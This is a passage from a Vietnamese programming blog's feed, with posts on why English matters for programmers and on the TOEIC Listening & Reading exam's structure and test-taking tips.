Mình rất vui nếu bạn đọc chia sẻ các phương pháp của bạn ở dưới phần bình luận.</p> <p>Xin chào và hẹn gặp lại bạn ở bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[4 lợi ích to lớn của Tiếng Anh đối với lập trình viên]]><![CDATA[Khi nhắc đến tiếng anh thì ai cũng phải công nhận rằng nó có rất nhiều lợi ích. Đặc biệt đối với lập trình viên, tiếng anh lại càng quan trọng. Sau đây là 4 lợi ích to lớn của…]]>https://completejavascript.com/4-loi-ich-to-lon-cua-tieng-anh-doi-voi-lap-trinh-vien/https://completejavascript.com/4-loi-ich-to-lon-cua-tieng-anh-doi-voi-lap-trinh-vien/Wed, 20 Dec 2017 23:41:02 GMT<p>Khi nhắc đến tiếng anh thì ai cũng phải công nhận rằng nó có rất nhiều lợi ích. Đặc biệt đối với lập trình viên, tiếng anh lại càng quan trọng. Sau đây là 4 lợi ích to lớn của Tiếng Anh đối với lập trình viên mà tôi đúc kết lại được trong quá trình học tập và làm việc.</p> <h2 id="đọc-hiểu-tài-liệu-hướng-dẫn-example-tutorials-bằng-tiếng-anh" style="position:relative;"><a href="#%C4%91%E1%BB%8Dc-hi%E1%BB%83u-t%C3%A0i-li%E1%BB%87u-h%C6%B0%E1%BB%9Bng-d%E1%BA%ABn-example-tutorials-b%E1%BA%B1ng-ti%E1%BA%BFng-anh" aria-label="đọc hiểu tài liệu hướng dẫn example tutorials bằng tiếng anh permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đọc hiểu tài liệu, hướng dẫn, example, tutorials bằng Tiếng Anh</h2> <p>Khi bạn lên mạng tìm tài liệu để học về một ngôn ngữ lập trình mới, một framework mới, một thư viện mới hay bất kỳ một tutorials nào... thì đa phần các tài liệu gốc đều bằng Tiếng Anh. Nếu có hướng dẫn bằng Tiếng Việt thì hầu hết chúng đã được dịch hoặc biên tập lại từ Tiếng Anh.</p> <p>Bởi lẽ, thế giới phát triển trước chúng ta rất nhiều. Những gì chúng ta biết ngày hôm nay thì người khác đã tìm hiểu từ rất lâu rồi. Do đó, việc học từ tài liệu Tiếng Anh sẽ giúp bạn tiếp cận kiến thức sớm hơn.</p> <p>Ngoài ra, việc dịch tài liệu sang Tiếng Việt có thể gây hiểu lầm, hiểu sai ý của tác giả. Vì không phải thuật ngữ Tiếng Anh nào cũng có thể dịch sang Tiếng Việt được. Vì vậy, bạn nên học bằng tài liệu Tiếng Anh để hiểu rõ nhất về những thứ mình đang học.</p> <h2 id="khi-gặp-lỗi-bạn-dễ-dàng-tìm-ra-cách-giải-quyết-trên-internet" style="position:relative;"><a href="#khi-g%E1%BA%B7p-l%E1%BB%97i-b%E1%BA%A1n-d%E1%BB%85-d%C3%A0ng-t%C3%ACm-ra-c%C3%A1ch-gi%E1%BA%A3i-quy%E1%BA%BFt-tr%C3%AAn-internet" aria-label="khi gặp lỗi bạn dễ dàng tìm ra cách giải quyết trên internet permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khi gặp lỗi, bạn dễ dàng tìm ra cách giải quyết trên Internet</h2> <p>Giả sử bạn đang sử dụng một IDE. Vì không biết tiếng anh nên bạn cài bản hỗ trợ Tiếng Việt (đây là tôi giả sử như vậy, thực tế thì rất ít phần mềm hỗ trợ Tiếng Việt, thường sẽ là tiếng Anh, Pháp, Tây Ban Nha, Trung Quốc, Nga,...).</p> <p>Và rồi khi bạn biên dịch chương trình, bạn gặp lỗi "không khởi tạo biến cục bộ được dùng trong C++". Bạn copy và paste dòng này vào phần tìm kiếm Google. Kết quả trả được sẽ là những bài viết không liên quan hoặc không trực tiếp giải quyết vấn đề.</p> <p>Ngược lại, nếu bạn biết và sử dụng tiếng anh thì lỗi trên sẽ trở thành "uninitialized local variable used in c++". Bây giờ bạn tìm kiếm thì sẽ thấy điều kì diệu. Có rất nhiều kết quả về nội dung này, đặc biệt trên stackoverflow.com. Ở đó, bạn có thể tìm ra cách để trực tiếp giải quyết lỗi đó.</p> <p>Trường hợp bạn muốn tìm kiếm về một vấn đề chung chung, nếu bạn biết Tiếng Anh thì chỉ cần đưa ra một vài từ khóa là đã có thể tìm thấy chính xác thứ mà mình cần tìm. Đại loại như: How to create simple server nodejs, ffmpeg tutorials,...</p> <h2 id="phần-mềm-hay-tài-liệu-bạn-viết-bằng-tiếng-anh-có-thể-tiếp-cận-nhiều-đối-tượng-trên-thế-giới" style="position:relative;"><a href="#ph%E1%BA%A7n-m%E1%BB%81m-hay-t%C3%A0i-li%E1%BB%87u-b%E1%BA%A1n-vi%E1%BA%BFt-b%E1%BA%B1ng-ti%E1%BA%BFng-anh-c%C3%B3-th%E1%BB%83-ti%E1%BA%BFp-c%E1%BA%ADn-nhi%E1%BB%81u-%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng-tr%C3%AAn-th%E1%BA%BF-gi%E1%BB%9Bi" aria-label="phần mềm hay tài liệu bạn viết bằng tiếng anh có thể tiếp cận nhiều đối tượng trên thế giới permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phần mềm hay tài liệu bạn viết bằng Tiếng Anh có thể tiếp cận nhiều đối tượng trên thế giới</h2> <p>Nếu bạn viết phần mềm, hay tài liệu bằng ngôn ngữ Tiếng Việt thì bạn đang giới hạn phạm vi tiếp cận là người Việt Nam, hoặc rộng hơn chút là người nước ngoài biết tiếng Việt. Ngược lại, nếu đó là tiếng anh thì nó có thể được sử dụng trên toàn thế giới.</p> <p>Tuy nhiên, có một vài trường hợp ngoại lệ, việc sử dụng Tiếng Việt sẽ tốt hơn. Đó là khi trên thế giới đã có nhiều sản phẩm mà bạn đang làm rồi. Nếu bạn đưa ra nó ra thị trường thì khả năng cạnh tranh được với những thứ kia là rất khó.</p> <p>Ngược lại, việc sử dụng Tiếng Việt sẽ giúp giảm đi đối thủ cạnh tranh. Cái này gọi là "thà làm vua xứ mù, còn hơn làm lính của một đất nước lớn".</p> <p>Dẫu vậy thì việc sử dụng Tiếng Anh vẫn sẽ đem lại nhiều lợi ích to lớn hơn.</p> <h2 id="dễ-dàng-xin-việc-tại-các-công-ty-liên-doanh-nước-ngoài-tại-việt-nam-hoặc-các-công-ty-tại-nước-ngoài" style="position:relative;"><a href="#d%E1%BB%85-d%C3%A0ng-xin-vi%E1%BB%87c-t%E1%BA%A1i-c%C3%A1c-c%C3%B4ng-ty-li%C3%AAn-doanh-n%C6%B0%E1%BB%9Bc-ngo%C3%A0i-t%E1%BA%A1i-vi%E1%BB%87t-nam-ho%E1%BA%B7c-c%C3%A1c-c%C3%B4ng-ty-t%E1%BA%A1i-n%C6%B0%E1%BB%9Bc-ngo%C3%A0i" aria-label="dễ dàng xin việc tại các công ty liên doanh nước ngoài tại việt nam hoặc các công ty tại nước ngoài permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Dễ dàng xin việc tại các công ty liên doanh nước ngoài tại Việt Nam hoặc các công ty tại nước ngoài</h2> <p>Hiện nay, đa phần các công ty đều yêu cầu nhân viên có <a href="/tim-hieu-thi-toeic-quoc-te-va-chuan-bi-thi-toeic-tai-iig-2017-2018/">trình độ Tiếng Anh</a>. Dù cho có những công ty thuần Việt Nam, nhưng họ vẫn mong muốn nhân viên biết tiếng anh để có thể phát triển công ty mạnh mẽ hơn.</p> <p>Đối với các công ty nước ngoài, việc biết tiếng anh là bắt buộc. Vì bạn cần biết tiếng anh để giao tiếp được với sếp, đồng nghiệp, hoặc với đối tác nước ngoài,...</p> <p>Trường hợp bạn là lập trình viên, muốn phát triển tự do thì có thể đăng ký làm freelance. Khi đó, bạn cần biết tiếng anh để PR bản thân; trao đổi, đàm phán với đối tác....</p> <p>Trên đây là 4 lợi ích to lớn của Tiếng Anh đối với lập trình viên. Và chắc chắn sẽ còn nhiều lợi ích khác nữa. Rất mong bạn đọc chia sẻ ý kiến của mình tại phần bình luận.</p> <p>Xin chào và hẹn gặp lại bạn trong bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Tìm hiểu thi TOEIC quốc tế và chuẩn bị thi TOEIC tại IIG 2017 - 2018]]><![CDATA[Xin chào tất cả mọi người. Kể ra thì cũng lâu rồi mình chưa ra một bài viết nào. Bài viết mới gần đây nhất là PHÂN BIỆT VAR VÀ LET TRONG JAVASCRIPT, cách đây cũng hơn hai tháng.…]]>https://completejavascript.com/tim-hieu-thi-toeic-quoc-te-va-chuan-bi-thi-toeic-tai-iig-2017-2018/https://completejavascript.com/tim-hieu-thi-toeic-quoc-te-va-chuan-bi-thi-toeic-tai-iig-2017-2018/Tue, 19 Dec 2017 00:09:28 GMT<p>Xin chào tất cả mọi người. Kể ra thì cũng lâu rồi mình chưa ra một bài viết nào. Bài viết mới gần đây nhất là <a href="/phan-biet-var-va-let-trong-javascript/">PHÂN BIỆT VAR VÀ LET TRONG JAVASCRIPT</a>, cách đây cũng hơn hai tháng.</p> <p>Vậy thì bắt đầu từ hôm nay, mình sẽ quyết tâm một tuần xuất bản 3 đến 4 bài viết, nghĩa là 2 ngày một bài từ thứ 2 đến thứ 7. Mặc dù thời tiết bây giờ đang rất lạnh, nhiệt độ từ 9 đến 19 độ C, tại Hà Nội.</p> <h2 id="tại-sao-mình-lại-có-quyết-tâm-lớn-như-vậy" style="position:relative;"><a href="#t%E1%BA%A1i-sao-m%C3%ACnh-l%E1%BA%A1i-c%C3%B3-quy%E1%BA%BFt-t%C3%A2m-l%E1%BB%9Bn-nh%C6%B0-v%E1%BA%ADy" aria-label="tại sao mình lại có quyết tâm lớn như vậy permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tại sao mình lại có quyết tâm lớn như vậy?</h2> <p>Trước tiên phải nói đến khoảng thời gian 2 tháng vừa rồi, công việc của mình chủ yếu là về C++. Do vậy, mình tập trung dành thời gian nghiên cứu về nó, không có thời gian để tìm hiểu và viết bài về JavaScript.</p> <p>Ngoài ra, mình cũng tìm hiểu về làm Youtube, viết sách Amazon Kindle, học về Powerpoint,... Tuy nhiên, cuối cùng thì mình vẫn cảm thấy không thích thú và quyết định tiếp tục tập trung phát triển blog này.</p> <p>Mặc dù vậy thì việc thức dậy vào 5 giờ sáng giữa trời Đông tại Hà Nội vẫn là một điều vô cùng khó khăn. Nếu bạn đang đọc bài viết này thì vui lòng để lại bình luận phía dưới, để mỗi sáng khi thức dậy, mình biết rằng có người đang theo dõi blog của mình.</p> <p>Xin chân thành cám ơn.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 66.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQFAf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhADEAAAAcYZYI5TD//EABsQAAMAAgMAAAAAAAAAAAAAAAECAwAEERRB/9oACAEBAAEFAouRF07EzoLg4EfM/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAHBAAAgEFAQAAAAAAAAAAAAAAACECARAREjEy/9oACAEBAAY/AorprVM9SIrKv//EABoQAAIDAQEAAAAAAAAAAAAAAAERACExUaH/2gAIAQEAAT8hd5aJJKiTpPajdC9gMBo2BKQFUL6Z/9oADAMBAAIAAwAAABAwz//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8QP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8QP//EAB4QAQADAAEFAQAAAAAAAAAAAAEAESExQVFhcZHR/9oACAEBAAE/EBFCNLHTedjhLh0vQ2vtThorsfiLtXmPBMi2FAcZGHC9M//Z'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Baby" title="Baby" src="/static/ab279aa4c642d53d3eeb9603a694f504/5ab81/baby-completejavascript-com.jpg" srcset="/static/ab279aa4c642d53d3eeb9603a694f504/e4e7a/baby-completejavascript-com.jpg 165w, /static/ab279aa4c642d53d3eeb9603a694f504/4f5c6/baby-completejavascript-com.jpg 330w, /static/ab279aa4c642d53d3eeb9603a694f504/5ab81/baby-completejavascript-com.jpg 660w, /static/ab279aa4c642d53d3eeb9603a694f504/7293b/baby-completejavascript-com.jpg 900w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Quay lại chủ đề bài viết ngày hôm nay. Đó là: <strong>Tìm hiểu thi TOEIC quốc tế và chuẩn bị thi TOEIC tại IIG 2017 – 2018</strong>. Có thể, bạn đang thắc mắc là tại sao mình lại viết chủ đề này và TOEIC thì liên quan quái gì đến <a href="/javascript/">JavaScript</a>? Chúng ta sẽ cùng nhau tìm hiểu qua những câu hỏi sau đây.</p> <h2 id="toeic-là-gì" style="position:relative;"><a href="#toeic-l%C3%A0-g%C3%AC" aria-label="toeic là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>TOEIC là gì?</h2> <p>TOEIC viết tắt của <strong>Test of English for International Communication.</strong> Đây là một bài thi đánh giá khả năng sử dụng tiếng anh trong môi trường làm việc quốc tế.</p> <h2 id="tại-sao-lại-thi-toeic-mà-không-phải-các-bài-thi-khác-như-toefl-hay-ielts" style="position:relative;"><a href="#t%E1%BA%A1i-sao-l%E1%BA%A1i-thi-toeic-m%C3%A0-kh%C3%B4ng-ph%E1%BA%A3i-c%C3%A1c-b%C3%A0i-thi-kh%C3%A1c-nh%C6%B0-toefl-hay-ielts" aria-label="tại sao lại thi toeic mà không phải các bài thi khác như toefl hay ielts permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tại sao lại thi TOEIC mà không phải các bài thi khác như TOEFL hay IELTS?</h2> <p>Đơn giản vì bài thi TOEIC dùng để kiểm tra trình độ tiếng anh trong môi trường làm việc quốc tế. Trong khi đó, IELTS sẽ phù hợp nếu bạn có ý định đi du học hoặc TOEFL nếu bạn muốn làm việc ở nước ngoài như Mỹ, Singapore,...</p> <p>Tại Việt Nam, đa phần các công ty chỉ yêu cầu người ứng tuyển có bằng TOEIC quốc tế, với số điểm từ 450, 550 hoặc nhiều hơn.</p> <p>Do đó, nếu bạn là một lập trình viên, mong muốn làm việc tại Việt Nam thì việc có một tấm bằng TOEIC quốc tế là hoàn toàn hợp lý.</p> <h2 id="các-loại-bài-thi-toeic-là-gì" style="position:relative;"><a href="#c%C3%A1c-lo%E1%BA%A1i-b%C3%A0i-thi-toeic-l%C3%A0-g%C3%AC" aria-label="các loại bài thi toeic là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các loại bài thi TOEIC là gì?</h2> <p>TOEIC có hai loại chính là: <strong>TOEIC Listening &#x26; Reading Test</strong> và <strong>TOEIC Speaking &#x26; Writing Test</strong>.</p> <h3 id="toeic-listening--reading-test" style="position:relative;"><a href="#toeic-listening--reading-test" aria-label="toeic listening reading test permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>TOEIC Listening &#x26; Reading Test</h3> <ul> <li>Bài thi này kiểm tra về kĩ năng nghe và đọc, kéo dài 2 giờ, bao gồm 45 phút phần nghe và 75 phút phần đọc.</li> <li>Số câu hỏi là 200 (100 câu mỗi phần) và đều là câu hỏi trắc nghiệm có nhiều đáp án lựa chọn.</li> <li>Điểm số: từ 5 - 495 điểm mỗi phần, và toàn bài thi là 10 đến 990.</li> </ul> <h3 id="toeic-speaking--writing-test" style="position:relative;"><a href="#toeic-speaking--writing-test" aria-label="toeic speaking writing test permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>TOEIC Speaking &#x26; Writing Test</h3> <ul> <li>Bài thi này kiểm tra về kĩ năng nói và viết, kéo dài khoảng 80 phút, bao gồm 20 phút phần nói và 60 phút phần viết.</li> <li>Phần nói: sẽ kiểm tra về phát âm, ngữ điệu và trọng âm, từ vựng, ngữ pháp, nối âm, hoàn thành nội dung còn thiếu cho câu.</li> <li>Phần viết: sẽ kiểm tra về ngữ pháp, từ vựng, tìm câu phù hợp với bức tranh, nêu quan điểm cá nhân,...</li> <li>Điểm số: mỗi phần sẽ là từ 0 - 200 điểm</li> <li>Quan trọng: Bạn có thể lựa chọn thi cả hai kĩ năng hoặc chỉ thi 1 trong 2 (Speaking hoặc Writing). Ngược lại với bài thi Listening và Reading là bạn bắt buộc phải thi cả 2 kĩ năng.</li> </ul> <p>Về bài thi nói và viết này, mình chưa có kinh nghiệm thi lần nào nên nếu có gì sai thì bạn cứ thẳng thắn chỉ ra lỗi sai giúp mình tại phần bình luận nhé, mình sẽ cập nhật lại.</p> <h2 id="cấu-trúc-đề-thi-toeic-như-thế-nào" style="position:relative;"><a href="#c%E1%BA%A5u-tr%C3%BAc-%C4%91%E1%BB%81-thi-toeic-nh%C6%B0-th%E1%BA%BF-n%C3%A0o" aria-label="cấu trúc đề thi toeic như thế nào permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cấu trúc đề thi TOEIC như thế nào?</h2> <p>Trước khi trả lời câu hỏi này, mình và bạn phải trả lời câu hỏi này trước: <strong>mình sẽ thi bài thi nào?</strong> Với mình, câu trả lời là: <strong>TOEIC Listening &#x26; Reading Test</strong>. Do đó, từ phần này trở đi, mình sẽ chỉ tập trung vào bài thi Nghe và Đọc.</p> <h3 id="phần-thi-listening" style="position:relative;"><a href="#ph%E1%BA%A7n-thi-listening" aria-label="phần thi listening permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phần thi Listening</h3> <ol> <li><strong>(Part 1) Mô tả hình ảnh</strong>: (10 câu) Chọn câu mô tả đúng nhất về nội dung trong hình (4 lựa chọn A, B, C, D). Theo kinh nghiệm đi thi của mình thì cứ những câu nào chứa từ vựng mà bạn dễ dàng nghe được liên quan đến hình, chắc chắn sai.</li> <li><strong>(Part 2) Hỏi đáp</strong>: (30 câu) Chọn đáp án phù hợp nhất cho câu hỏi (3 lựa chọn A, B, C). Mỗi câu hỏi Phần này quan trọng nhất là nghe được loại câu hỏi, từ để hỏi (Do you, did you, will you, what, when, which, why, how,...)</li> <li><strong>(Part 3) Đoạn hội thoại</strong>: (30 câu - 10 đoạn) Mỗi đoạn hội thoại sẽ có 3 câu hỏi đi cùng (4 lựa chọn A, B, C, D). Một chiến thuật mà mình hay dùng cho phần thi này là: Đọc trước nội dung cả 3 câu hỏi và câu trả lời. Khi bạn đã nắm được câu hỏi rồi thì khi nghe, nếu bạn thấy được đáp án thì sẽ chọn ngay. Tránh trường hợp, nghe xong một hồi, đến lúc đọc câu hỏi thì lại quên nội dung mình vừa nghe. Ngoài ra, phần này còn khó ở một điểm là sẽ có 2 người nói chuyện với nhau, bạn phải phân biệt được giọng nói của họ.</li> <li><strong>(Part 4) Bài nói chuyện ngắn - độc thoại</strong>: (30 câu - 10 đoạn) Mỗi đoạn sẽ có 3 câu hỏi đi cùng (4 lựa chọn A, B, C, D). Tương tự như phần 3, nhưng phần này chỉ có một người nói.</li> </ol> <p>Một điểm, mình thấy khá khó ở phần thi này, đó là: giọng đọc đa dạng, bao gồm Mỹ, Canada, Anh, Úc và New Zealand... Do đó, để có thể làm tốt phần nghe này, bạn cần luyện tập nghe thêm nhiều giọng nói khác nhau. Với cá nhân, mình hay nghe tiếng anh giọng Mỹ. Gần đây, mình luyện nghe thêm giọng Anh, cảm thấy thật sự rất khó nghe và lạ tai.</p> <h2 id="phần-thi-reading" style="position:relative;"><a href="#ph%E1%BA%A7n-thi-reading" aria-label="phần thi reading permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phần thi Reading</h2> <p>Khác với phần thi Listening - bạn phải làm lần lượt, thì trong phần Reading, bạn có thể làm bất kỳ phần nào trước, tùy thích.</p> <ol> <li><strong>(Part 5) Hoàn thành câu</strong>: (40 câu) Mỗi câu sẽ có một chỗ trống. Nhiệm vụ của bạn là tìm ra đáp án phù hợp nhất. Phần này có thể kiểm tra bạn về ngữ pháp hoặc từ vựng.</li> <li><strong>(Part 6) Hoàn thành đoạn văn</strong>: (12 câu - 4 đoạn văn) Mỗi đoạn văn sẽ có 3 chỗ trống để bạn điền vào. Các đoạn văn thường khá dài. Do đó, chiến thuật để làm phần này là bạn sẽ đọc tập trung phần có chỗ trống trước. Rồi bạn đọc tiếp phần xung quanh để tìm đáp án. Không nhất thiết phải đọc toàn bộ đoạn văn từ đầu đến cuối, rất là mất thời gian.</li> <li><strong>(Part 7) Đọc hiểu đoạn văn</strong>: (đoạn văn đơn - 28 câu và đoạn văn kép - 20 câu) Phần này thì thật sự là rất khó. Kinh 